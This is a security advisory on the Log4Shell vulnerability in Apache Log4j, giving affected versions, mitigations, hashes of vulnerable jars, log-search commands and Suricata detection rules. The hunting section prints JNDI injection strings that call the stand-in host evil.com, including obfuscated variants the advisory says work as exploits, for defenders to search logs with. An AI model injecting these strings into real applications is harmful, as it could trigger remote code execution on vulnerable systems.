Security Advisory: Log4j Vulnerability
Original Post on December 13, 2021 (Updated on 12/20/2021)
***Note: The intent of this analysis is to aggregate the wide distribution of information being shared, provide insights, and recommendations. As we continue to learn more about the Log4J vulnerability and Log4Shell exploit, the GuidePoint Security team continues to gather and distill the information for consumption. ***
- Summary
- Recommendations
- Affected Versions
- Mitigations (UPDATED 12/20/2021)
- Hunting & Detections (UPDATED 12/20/2021)
- References
Summary
On December 9th, 2021, a proof of concept exploit was released that takes advantage of a vulnerability in the commonly used Java logging library “log4j”. This vulnerability (CVE-2021-44228) allows unauthenticated remote code execution, and it is triggered when a specially crafted string provided by the attacker through a variety of different input vectors is parsed and processed by the Log4j vulnerable component. The Alibaba cloud security team has stated they reported this vulnerability to Apache on November 24, 2021. The vulnerability is being named “Log4Shell” by @LunaSec. The list of impacted software and services continues to grow as more research is being conducted; however, it currently includes a long list of cloud-based services (Apple, Twitter, VMware, etc.), vendor appliances, and anything using the log4j framework. The widespread use of Java & log4j, coupled with the potential of running unauthorized code, equates to an extremely severe vulnerability. It should be addressed by organizations immediately by enumerating devices that have log4j installed and implementing mitigations. While, at this time, the bulk of analysis has revealed active mass-scanning for this vulnerability in the wild, there have been instances of post-exploitation activity.
Recommendations
- Identify potential vulnerabilities in your environment:
- Identify vulnerable software & devices via:
- Asset inventories
- Software bill of material manifests
- Software build pipeline dependency manifests (e.g. Maven etc.)
- Vendor bulletins (see below)
- File system discovery (see below) on Windows / Linux to identify class files
- Log file analytics to identify log4j like entries
- Identify vulnerable software & devices via:
- Prioritize vulnerable assets based on risk
- Patch or mitigate vulnerabilities as necessary
- Patch vulnerable software for which patches are available (see vendor bulletins):
- Hot patch exists
- Work with all Vendors and 3rd parties to determine the effects of the vulnerability
- Limit network egress from hosts where vulnerable software exists when possible
- Patch vulnerable software for which patches are available (see vendor bulletins):
- Hunt/Detect for signs of active exploitation
- Review all devices for potential impact
- Review logs for iterations of “jdni:”
- Review file systems & newly created class files
- Use existing security tools to search for IOCs and vulnerable hashes in your environment
- Review all devices for potential impact
- Set alerts as necessary
- Ensure protective monitoring via (note: expect extensive scanning):
- Network for remote class loading
- On host for remote class loading
- On host for unexpected command execution
- Ensure protective monitoring via (note: expect extensive scanning):
Affected Versions
- Version 2 of Log4j between versions 2.0-beta-9 and 2.14.1
- It is patched in 2.15.0
- List of known affected vendors
Mitigations
How to Mitigate CVE-2021-44228
To mitigate, the following options are available (see the advisory from Apache here):
(UPDATED 12/20/21):
- Upgrade to Log4j v2.17.0.
- Log4J v2.16.0 contains an infinite recursion issue in which an attacker can perform a denial of service (DoS) attack.
- Additionally, where possible:
- Disable suspicious outbound traffic, such as LDAP and RMI on the server on your Firewall.
- Disable and monitor for suspicious outbound traffic, such as that over LDAP and RMI, on your Firewall.
- To help with scoping attack surface, communicate with third-parties & vendors to confirm:
- Their acknowledgement of CVE-2021-44228
- Confirmation of if they are affected
- Their patching timelines
Hunting & Detections
UPDATED 12/20/21
The CVE-2021-44228 exploit requires the creation of a log event with a specific string, therefore there may be evidence of exploitation in the logs of vulnerable applications. Defenders should review these logs for unusual strings such as the example below.
${jndi:ldap://evil.com/x}
NOTE: There are many ways to obfuscate a String object in Java and as such the exploit can be triggered by a request that does not explicitly follow this pattern. A manual review of the logs for vulnerable applications is recommended. The following obfuscations have been observed in the wild as functioning exploits.
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://evil.com/Basic/Command/Base64/redacted}${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://evil.com/Basic/Command/Base64/redacted}- CaptaingGeech42 on Twitter provides a great breakdown of JNDIExploit and its implementation of the /basic/command URI here
Due to the way the exploit works, malicious entries may not appear in the logs until after the attacker code is finished executing. The time between input of the exploit and the eventual triggering of the JNDI lookup can be additionally complicated by the configuration and complexity of the vulnerable system. These facts have the potential to be abused by sophisticated actors to stay covert when gaining initial access.
Additionally, a review of network logs for unusual LDAP and RMI connections (port 389 and 1099 respectively) is recommended.
With the multitude of EDR and other response tools on the market, there is also a multitude of possibilities when it comes to automating the detection of Log4j. At this time, GuidePoint Security DFIR is primarily using the open-source tool Velociraptor to investigate Log4j incidents and has built up a mature and robust practice around using the tool for DFIR investigations.
On the day of the log4shell vulnerability becoming public, the Velociraptor community and GuidePoint Security’s own internal practice were hard at work producing artifacts that would help find both log4j compromises and vulnerabilities. Thanks to an early Yara rule from @FlorianRoth, the community was able to leverage this newly generated rule to develop a Velociraptor query to hunt effectively and efficiently for the new exploit. Additional, follow-on rules were posted to the Velociraptor Artifact Exchange (https://docs.velociraptor.app/exchange/). First, we detect. Figure 1 gives you an idea below.
Secondly, we react. After we receive a detection, we can explore the parent and/or sibling directories for server log files. This is achieved, once again, by leveraging a separate query within Velociraptor. This time, the query is designed to comb over the log files and look for the Indicators of Compromise presented in the Yara rule.
Depending on the query, we can glean as much or as little information about the file as we’d like. In this case, the VQL (Velociraptor Query Language) we deployed specified that when we find a match, we can display the visible columns. One of the nice things about Velociraptor is that we can edit our query in a “notebook” after the fact, which helps us to filter our results.
The ability to post-process and make sense of data is of utmost importance. GuidePoint’s Incident Response team leverages Velociraptor and its open source community to make the best of our practice. You can follow us on Twitter or reach out to our DFIR team for services at https://www.guidepointsecurity.com/contact-us/.
Identifying Vulnerable Systems
The following is a list of known filenames and hashes which are vulnerable to the Log4j Vulnerability. However, this is not an exhaustive list, additional filenames and hashes may also exist.
| 2addabe2ceca2145955c02a6182f7fc5 | log4j-core-2.0-alpha2.jar |
| 5b1d4e4eea828a724c8b0237326829b3 | log4j-core-2.0-beta1.jar |
| ce9e9a27c2a5caa47754999eb9c549b8 | log4j-core-2.0-beta2.jar |
| 1538d8c342e3e2a31cd16e01e3865276 | log4j-core-2.0-beta3.jar |
| 9cb138881a317a7f49c74c3e462f35f4 | log4j-core-2.0-beta4.jar |
| 578ffc5bcccb29f6be2d23176c0425e0 | log4j-core-2.0-beta5.jar |
| 5b73a0ad257c57e7441778edee4620a7 | log4j-core-2.0-beta6.jar |
| e32489039dab38637557882cca0653d7 | log4j-core-2.0-beta7.jar |
| db025370dbe801ac623382edb2336ede | log4j-core-2.0-beta8.jar |
| 152ecb3ce094ac5bc9ea39d6122e2814 | log4j-core-2.0-beta9.jar |
| cd70a1888ecdd311c1990e784867ce1e | log4j-core-2.0.jar |
| 088df113ad249ab72bf19b7f00b863d5 | log4j-core-2.0-rc1.jar |
| de8d01cc15fd0c74fea8bbb668e289f5 | log4j-core-2.0-rc2.jar |
| fbfa5f33ab4b29a6fdd52473ee7b834d | log4j-core-2.0.1.jar |
| 8c0cf3eb047154a4f8e16daf5a209319 | log4j-core-2.0.2.jar |
| 8d331544b2e7b20ad166debca2550d73 | log4j-core-2.1.jar |
| 5e4bca5ed20b94ab19bb65836da93f96 | log4j-core-2.2.jar |
| 110ab3e3e4f3780921e8ee5dde3373ad | log4j-core-2.3.jar |
| 0079c907230659968f0fc0e41a6abcf9 | log4j-core-2.4.jar |
| f0c43adaca2afc71c6cc80f851b38818 | log4j-core-2.4.1.jar |
| dd0e3e0b404083ec69618aabb50b8ac0 | log4j-core-2.5.jar |
| 5523f144faef2bfca08a3ca8b2becd6a | log4j-core-2.6.jar |
| 48f7f3cda53030a87e8c387d8d1e4265 | log4j-core-2.6.1.jar |
| 472c8e1fbaa0e61520e025c255b5d168 | log4j-core-2.6.2.jar |
| 2b63e0e5063fdaccf669a1e26384f3fd | log4j-core-2.7.jar |
| c6d233bc8e9cfe5da690059d27d9f88f | log4j-core-2.8.jar |
| 547bb3ed2deb856d0e3bbd77c27b9625 | log4j-core-2.8.1.jar |
| 4a5177a172764bda6f4472b94ba17ccb | log4j-core-2.8.2.jar |
| a27e67868b69b7223576d6e8511659dd | log4j-core-2.9.0.jar |
| a3a6bc23ffc5615efcb637e9fd8be7ec | log4j-core-2.9.1.jar |
| 0042e7de635dc1c6c0c5a1ebd2c1c416 | log4j-core-2.10.0.jar |
| 90c12763ac2a49966dbb9a6d98be361d | log4j-core-2.11.0.jar |
| 71d3394226547d81d1bf6373a5b0e53a | log4j-core-2.11.1.jar |
| 8da9b75725fb3357cb9872adf7711f9f | log4j-core-2.11.2.jar |
| 7943c49b634b404144557181f550a59c | log4j-core-2.12.0.jar |
| df949e7d73479ab717e5770814de0ae9 | log4j-core-2.12.1.jar |
| 2803991d51c98421be35d2db4ed3c2ac | log4j-core-2.13.0.jar |
| 5ff1dab00c278ab8c7d46aadc60b4074 | log4j-core-2.13.1.jar |
| b8e0d2779abbf38586b869f8b8e2eb46 | log4j-core-2.13.2.jar |
| 46e660d79456e6f751c22b94976f6ad5 | log4j-core-2.13.3.jar |
| 62ad26fbfb783183663ba5bfdbfb5ace | log4j-core-2.14.0.jar |
| 3570d00d9ceb3ca645d6927f15c03a62 | log4j-core-2.14.1.jar |
| f5e2d2a9543ee3c4339b6f90b6cb01fc | log4j-core-2.0-alpha1.jar |
Identifying potentially affected systems:
Since the CVE-2021-44228 exploit requires the creation of a log event there may be evidence of exploitation in the application logs of vulnerable applications.
- Search for the string “jdni:” in all available logs
- Utilize Grep on Unix systems (searches entirety of /var/log) (Credit: Florian Roth)
sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log
- Utilize Find on Unix systems for searching compressed logs (Credit: Florian Roth)
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
The following is a link to a repository of Yara rules that can assist in compromise detection, by searching the logging paths for string indicators. (Credit: Florian Roth)
Suricata Rules
Credit: NCC Group
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4J RCE Request Observed (CVE-2021-44228)”; flow:established, to_server; content:”${jndi:ldap://”; fast_pattern:only; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, http://www.lunasec.io/docs/blog/log4j-zero-day/; metadata:CVE 2021-44228; metadata:created_at 2021-12-10; metadata:ids suricata; sid:21003726; rev:1;) |
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4J RCE Request Observed (CVE-2021-44228)”; flow:established, to_server; content:”${jndi:”; fast_pattern; pcre:”/\$\{jndi\:(rmi|ldaps|dns)\:/”; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, http://www.lunasec.io/docs/blog/log4j-zero-day/; metadata:CVE 2021-44228; metadata:created_at 2021-12-10; metadata:ids suricata; sid:21003728; rev:1;) |
| alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Defense-Evasive Apache Log4J RCE Request Observed (CVE-2021-44228)”; flow:established, to_server; content:”${jndi:”; fast_pattern; content:!”ldap://”; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, http://www.lunasec.io/docs/blog/log4j-zero-day/; reference:url, twitter.com/stereotype32/status/1469313856229228544; metadata:CVE 2021-44228; metadata:created_at 2021-12-10; metadata:ids suricata; sid:21003730; rev:1;) |
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Defense-Evasive Apache Log4J RCE Request Observed (URL encoded bracket) (CVE-2021-44228)”; flow:established, to_server; content:”%7bjndi:”; nocase; fast_pattern; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, http://www.lunasec.io/docs/blog/log4j-zero-day/; reference:url, https://twitter.com/testanull/status/1469549425521348609; metadata:CVE 2021-44228; metadata:created_at 2021-12-11; metadata:ids suricata; sid:21003731; rev:1;) |
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4j Exploit Attempt in HTTP Header”; flow:established, to_server; content:”${“; http_header; fast_pattern; content:”}”; http_header; distance:0; flowbits:set, fox.apachelog4j.rce.loose; classtype:web-application-attack; priority:3; threshold:type limit, track by_dst, count 1, seconds 3600; reference:url, http://www.lunasec.io/docs/blog/log4j-zero-day/; reference:url, https://twitter.com/testanull/status/1469549425521348609; metadata:CVE 2021-44228; metadata:created_at 2021-12-11; metadata:ids suricata; sid:21003732; rev:1;) |
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4j Exploit Attempt in URI”; flow:established,to_server; content:”${“; http_uri; fast_pattern; content:”}”; http_uri; distance:0; flowbits:set, fox.apachelog4j.rce.loose; classtype:web-application-attack; priority:3; threshold:type limit, track by_dst, count 1, seconds 3600; reference:url, http://www.lunasec.io/docs/blog/log4j-zero-day/; reference:url, https://twitter.com/testanull/status/1469549425521348609; metadata:CVE 2021-44228; metadata:created_at 2021-12-11; metadata:ids suricata; sid:21003733; rev:1;) |
# Better and stricter rules, also detects evasion techniques |
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4j Exploit Attempt in HTTP Header (strict)”; flow:established,to_server; content:”${“; http_header; fast_pattern; content:”}”; http_header; distance:0; pcre:/(\$\{\w+:.*\}|jndi)/Hi; xbits:set, fox.log4shell.attempt, track ip_dst, expire 1; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; reference:url,www.lunasec.io/docs/blog/log4j-zero-day/; reference:url,https://twitter.com/testanull/status/1469549425521348609; metadata:CVE 2021-44228; metadata:created_at 2021-12-11; metadata:ids suricata; priority:3; sid:21003734; rev:1;) |
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4j Exploit Attempt in URI (strict)”; flow:established, to_server; content:”${“; http_uri; fast_pattern; content:”}”; http_uri; distance:0; pcre:/(\$\{\w+:.*\}|jndi)/Ui; xbits:set, fox.log4shell.attempt, track ip_dst, expire 1; classtype:web-application-attack; threshold:type limit, track by_dst, count 1, seconds 3600; reference:url,www.lunasec.io/docs/blog/log4j-zero-day/; reference:url,https://twitter.com/testanull/status/1469549425521348609; metadata:CVE 2021-44228; metadata:created_at 2021-12-11; metadata:ids suricata; priority:3; sid:21003735; rev:1;) |
alert http any any -> $HOME_NET any (msg:”FOX-SRT – Exploit – Possible Apache Log4j Exploit Attempt in Client Body (strict)”; flow:to_server; content:”${“; http_client_body; fast_pattern; content:”}”; http_client_body; distance:0; pcre:/(\$\{\w+:.*\}|jndi)/Pi; flowbits:set, fox.apachelog4j.rce.strict; xbits:set,fox.log4shell.attempt,track ip_dst,expire 1; classtype:web-application-attack; threshold:type limit, track by_dst, count 1, seconds 3600; reference:url,www.lunasec.io/docs/blog/log4j-zero-day/; reference:url,https://twitter.com/testanull/status/1469549425521348609; metadata:CVE 2021-44228; metadata:created_at 2021-12-12; metadata:ids suricata; priority:3; sid:21003744; rev:1;) |
References
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
- https://mail-archives.apache.org/mod_mbox/www-announce/202112.mbox/%[email protected]%3e
- https://logging.apache.org/log4j/2.x/
- https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability
- https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
- https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
- https://securityblue.team/log4j-hunting-and-indicators/
- https://docs.velociraptor.app/exchange/artifacts/pages/log4jrcehash/
- https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b